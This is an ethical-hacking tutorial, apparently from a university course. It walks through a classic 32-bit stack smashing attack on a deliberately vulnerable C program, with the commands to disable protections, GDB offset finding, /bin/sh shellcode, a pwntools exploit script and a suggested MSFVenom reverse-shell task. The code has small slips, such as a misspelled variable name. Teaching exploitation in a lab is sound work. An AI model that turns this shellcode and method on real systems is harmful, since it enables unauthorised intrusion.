Skip to content

Smashing the Stack for Fun and Profit.

In the past few articles we have successfully exploited buffer overflows to change a programs behaviour. However, while the program we have used gives a nice introduction, its hardly realistic. If we do happen to find code where the developer worked hard to get debugging information, and left us a pre made shell, then we are either Really Lucky, doing a CTF, or have found a honeypot.

This time we will look at the "Classic" stack smashing attack. Using the overflowed buffer to inject our exploit. Then using our control of the Instruction pointer to execute it.

Note

This week are are going to stick with the "Classic" Overflow.

We will also keep with a 32Bit version. There is not a huge amount of difference between 32 and 64 Bits, but there are some perculiarities in addressing that makes it a bit easier. Also, a lot of the tutorials out there are for the older 32 bit architecture.

Concepts.

So far, we have used the following method for our overflows:

  1. Fill the Buffer with Junk data (A) up to the Return Address
  2. Modify the return address to point where we want to go.

Our example was also nice and easy, we had a pre made shell ready to go in the code, all we needed to do is point to it. Unfortunately we are not going to come across this very often in the wild, so we need to find a way of getting code the a shell into our program somewhere.

The answer is in the overflow itself, Rather than fill the buffer with Junk, we put the code that generates a shell in there. We can then use the return address to point to the start of the code we have placed on the stack. The OS will then execute our instructions and (hopefully), do what we want.

Our process now becomes:

  1. Fill the Until we overflow EIP
    1. Stash our evil code somewhere in this data
  2. Modify the Return address to point to the evil code
  3. ....
  4. Profit

(Video Illustrating these concepts)[4-CallingShell]

The Vulnerable program

We are going to use the following as our vulnerable program

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int BUFFER=200;

int copy(char* input){
  char buffer[BUFFER];
  strcpy(buffer, input); //VULNERABLE FUNCTION
  printf("Buffer is %s\n", %buffer);
}

int main(int argc, char* argv[]){
    /* Main Function*/
  char buf[400];
  printf("Smash The Stack\n");
  //Get the data from the user
  int r = read(0, buf, 400);  //Save Version

  int out = copy(buf);
  printf("Lose :(\n");
  return 0;
}

The main() function is pretty self explanatory, with everything done in a safe way

  • Read in 400 Bytes of user input (in a safe way)
  • Call the copy() Function with this data
  • Exit

The copy() function is where our problem is. While main reads data from a 400 byte buffer, the one inside copy is only 200 bytes. More importantly the strcopy function is unsafe, and will attempt to copy whatever data regardless of the target buffer size. This is where our potential overflow will happen.

Compiling the Code

As before we are going to compile the code with all the protections turned off.

Disable ALSR

$sudo su
[sudo] password for dang: 
[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space 
[root@dang-laptop Code]# exit
exit

Compile

$ gcc -m32 -fno-stack-protector -no-pie -z execstack -g classic.c -o classic

Exploiting the Code 1: Fuzzing the Buffer

As in the previous example our first task is to try and work out the offset needed to control the instruction pointer.

First lets run the program and see what it does

kali@kali:~/git/6005-CEM-Codebase/Overflows$ ./classic 
Smash The Stack
AAA
Lose :(

Unlike last time where we wanted command line arguments, this time the program reads the user input when it is executing. This makes our job a little bit harder to start off with, as we cant just pipe payloads in from python.

Getting a Seg-Fault

So lets use python to generate a long string of 'A' then paste them as user input. When we do this we get a seg-fault so we know we are on the right track.

$python -c "print('A') * 400"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

#Copy that string

$./classic
Smash The Stack
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

Working out the Offset

We could take the same approach as last time, using a binary search to Fuzz the buffer until we get the correct result.

However, this can be time consuming, so lets make use of some automated tools to help us out. The most excellent PwnTools python package (more on that later) has everything we need.

Tip

We will want to install the python2 version of pwntools, as the whole bytestring thing doesnt get on too well with exploits.

In kali you can do

  1. sudo apt install python2
  2. Install pip using this script
  3. $pip install pwntools

We can now use PwnTools cyclic function to generate a unique string to help us work out offsets

Lets generate a string of 400 bytes.

$ cyclic 400
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad

We also need to discover what value ends up in the instruction pointer (EIP). For this we are going to use the GDB debugger.

Load the program into GDB

$ gdb ./classic 
GNU gdb (Debian 9.2-1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 9.2 using Python engine 3.8
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./classic...

We can then run the program using the run command

gef➤  run
Starting program: /home/kali/git/6005-CEM-Codebase/Overflows/classic 
Smash The Stack
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad

Program received signal SIGSEGV, Segmentation fault.
0x6361616a in ?? ()

The contents of EIP (and therefore the offset) is in this line 0x6361616a in ?? ()

You can now use the cyclic command to look up the offset.

kali@kali:~$ cyclic -l 0x6361616a
236

Finally, I like to take the same approach as before, and check using a payload of offset x A + 'BBBB. If we end up with all B's (0x42) in the instruction pointer we are good to go

kali@kali:~$ python -c "print ('A'*236+'BBBB')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

And in GDB

gef➤  run
Starting program: /home/kali/git/6005-CEM-Codebase/Overflows/classic 
Smash The Stack
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Recap

A quick recap of the stages here:

  • Generate a payload big enough to overflow the buffer and cause a segfault
  • Generate a cyclic payload of this size $cyclic [SIZE]
  • Use GDB to run the payload and get the cyclic value in IP
  • Use cyclic to calculate the offset $cyclic -l [IP VALUE]
  • Check using a combination of A * offset + 'BBBB'

Shell Code

Our next step is work out what evil code we want to insert into the buffer. The generic term for this is shell code (as its code that drops a shell).

In this example we will use the classic Aleph1 approach, and use shellcode that spawns a new bash process. The shellcode itself is a set of machine code instructions encoded in Hex format. This means that, as a general rule, shell code is specific to a given architecture (and operating system), so grabbing off the shelf shellcode and expecting it to run on any system tends to cause headaches.

shellcode ="".join(["\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46",
                   "\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68",
                   "\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"])

Note: Shellcode Requirements

Thus we have a few requirements for our shellcode:

  • It should be as short as possible. We don't tend to have much room in our buffer to overflow, If our shellcode is a couple of hundred bytes we will be fine, anything larger can be difficult to work with. (Don't get any visions of injecting a meterpreter shell as even the staged version is huge)
  • It needs to be specific for our OS and Architecture

Depending on the attack you are doing you may want to change the code, (or if you are feeling particularly masochistic write your own). We can use MSFVenom with the appropriate options to generate shellcode for a wide range of systems and types of exploit.

Note

There is a lot of Voodoo involved in writing shellcode. There have also been a lot of changes to the underlying kernel recently, this means that some shellcode isnt going to work. If you start getting errors, I would recommend either debugging the shellcode, or trying a different version.

However, the shellcode I have provided will work nicely in this example.

Generating a Payload: The Payload Script.

As writing long strings of Hex into the command line sucks. We will also want a payload generator.

This is where the excellent Pwntools python library comes in.

PwnTools, gives us lots of tools for talking to programs, and doing nasty things to their internals. This week we are just going to use it to send a simple payload. Next week (when we look at the Magic of ROP), we will use its advanced features to help us get stuff done.

The GenPayload.py function in the Github repo takes care of building and executing the payloads for you.

First lets take a look at the payload generator:

We need to find values for:

  • OFFSET: Which is the number of values we need to control EIP
  • ADDRESS: Which is our new Return address

The rest of the code builds the string we will use to attack the buffer, using the Fun and Profit shellcode.

from pwn import *

# Offset to EIP (You need to calculate this)
OFFSET = 236

#Address we want to jump to (You need to supply this)
#Pwntools will automatically convert to the correct endianness
TARGET_ADRESS = p32()


#Update the Context with the Architecture and OS
context.update(arch="i386", os="linux")

#Create a Process Object to talk to. This should be our Target Binary
p = process("./a.out")

# Do an initial read to get the welcome message
data = p.read()
print(data)  #For Debugging

raw_input("Attach GDB and press enter")  #More debugging


# And add our Shellcode

shellcode ="".join(["\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46",
                   "\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68",
                   "\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"])


#Now we will build our payload

payloadLen = OFFSET - len(shellcode) #How many 'A's to Pad with
payloadLen = payloadLen - 20 #I like a bit of space below the shellcode too

payload = "\x90"*payloadLen  #Write NOPS
payload += shellcode  #Add Shellcode
payload += "\x90"*20  #More Nops
payload += TARGET_ADDRESS #Address to Jump to

p.writeline(payload)  #Write it to the Binary
p.interactive() #Go into interactive mode.

Padding the Payload: The NOP Sled

We still have a bit of a problem, The shellcode we are using is only 100 Bytes, unless we are really lucky there is no way that is going to be the perfect size to overflow the buffer and control EIP.

As before we get around this by Padding the input, inserting enough characters before the shellcode so that we get the correct size for our overflow.

In the payload generator this is done with these lines of code.

payload = "\x90"*payloadLen  #Write NOPS
payload += shellcode  #Add Shellcode
payload += "\x90"*20  #More Nops

Note

Its usually here where the more maschocistic tutorials make you submit your payload using a 'A's (or whatever) as Padding, then calculate the exact address to jump to.
Before telling you why the NOP sled is a great Idea.

I I don't know why, perhaps its some kind of initiation, or because the writers have also suffered. Be thankful we skip that part, and take my word for it that using the NOP sled saves hours of work. (If you really feel like punishing yourself, or want an "authentic" experience go ahead and change the \x90 to A)

You may notice that this time we are using \x90 rahter than the A we have been using before. Its here we introduce the concept of the NOP sled. To make our overflow work we need to calculate the address that our shellcode starts at. If we padded the buffer with ASCII characters (such as 'A') this would mean we need to find the exact address, as anything else would be an invalid instruction. Fortunately, there is an easier way, The NOP instruction (0x90) tells the processor to do nothing and move on to the next instruction. In terms of our overflow, this means if we set the Return Address to somewhere in our NOPsled, the processor "slides" down to our shellcode, without performing any instructions. Therefore by padding the shellcode with NOPS, we increase the range of addresses we can target, making it much easier to get a successful exploit.

Smashing the Stack: Finding the Shellcode

Our final task is to find the address we need to jump to to execute the shellcode. We could calculate the address based on the base pointer, but instead we can use our knowledge of how functions are called to help. We know that the arguments to functions are placed inside Registers before the function gets called, If we look in the copy function we can see this.

   0x565561ee <+81>:    push   %eax
   0x565561ef <+82>:    mov    %ecx,%ebx
   0x565561f1 <+84>:    call   0x56556030 <strcpy@plt>

So its likely there will be a pointer to our shellcode in the EAX register. Lets take a look and see what data is there.

Rather than use the payload generator we will go back to using our python generated input

kali@kali:~$ python -c "print ('A'*236+'BBBB')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

We run this input in GDB and get a crash.

gef➤  run
Starting program: /home/kali/git/6005-CEM-Codebase/Overflows/classic 
Smash The Stack
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Our next job is to try and find a valid address for the shellcode. As we know it may be in one of the registers, we take a look there.

The command to inspect a region of memory in GDB is x/[options] [location] GDB manual for Examining Memory

  • Options can include number of items item type For example

    • x/10c eXamines the 10 Characters at the location specified
    • x/20x eXamines the 20 Hex Digits at the location specified
  • The Location is either:

    • A memory Address 0xffff0000
    • A register $eax / eip

We will use x/10c $eax To look at the first 10 bytes stored in the EAX register.

gef➤  x/10c $eax
0xffffcf10:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffcf18:     0x41    0x41
gef➤  

So EAX points to a big array of 41's (or 'A'), we will also want to confirm this also points to the start of our input. (I have been caught out by this before, and had to adjust addresses due to the program manipulating input before putting it in the registers).

We can take the same approach we use to confirm we have control of the Instruction Pointer, Add some Data that is unlikely to turn up in the string at the start of our overflow, and check it appears. In this case I will use 'C' and look for 0x43 in the output.

#Generate a Payload  (Note re reduce the A's by 4 as we have added 4 new bytes at the start)
$ python2 -c "print 'CCCC'+'A'*232+'BBBB'"

Then Look in GDB as we did before

gef➤  run
Starting program: /home/kali/git/6005-CEM-Codebase/Overflows/classic 
Smash The Stack
CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
...
gef➤  x/10x $eax
0xffffcf10:     0x43    0x43    0x43    0x43    0x41    0x41    0x41    0x41
0xffffcf18:     0x41    0x41
gef➤  

So we can now be sure that the addresses held in EAX, will point to the top of our buffer, so lets find that address. We can see it when we examine the memory, or using the info reg command.

(gdb) info reg eax
eax            0xffffcea0          -12640
(gdb) 

Lets update the Payload generator with the numbers we have found (remember the endianness of the address)

  • Offset 232
  • Address 0xffffcea0

The run the payload Generator to get our shell.

(gdb) run `python2 genpayload.py`
Starting program: /home/dang/Github/Teaching/OnlineModules/EthicalHacking/ShortCourse5/Week1/Code/ClassicBuffer `python2 genpayload.py`
process 14189 is executing new program: /usr/bin/bash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
sh-5.0$ 

Summary

In this article we have performed a classic stack smashing attack, and used it to drop a shell. The process has been similar to our previous overflow examples.

  1. Work out the offset required to control EIP
  2. Work out the address we need to visit to execute the shellcode
  3. ...
  4. Profit

In the next set of articles we will look at finding the offset address outside of GDB, and look at ways of dealing with the various protection mechanism.

Tasks

  • Repeat the 32 bit overflow attack and get a shell
  • Change the Size of the Buffer and repeat.
  • Stretch Goal: You may want to try swapping the payload used in the generator for something different. Use MSFVenom to generate network shell (Like TCP_Reverse) and try the exploit. Bear in mind the size of the buffer when generating the payload.
Back to top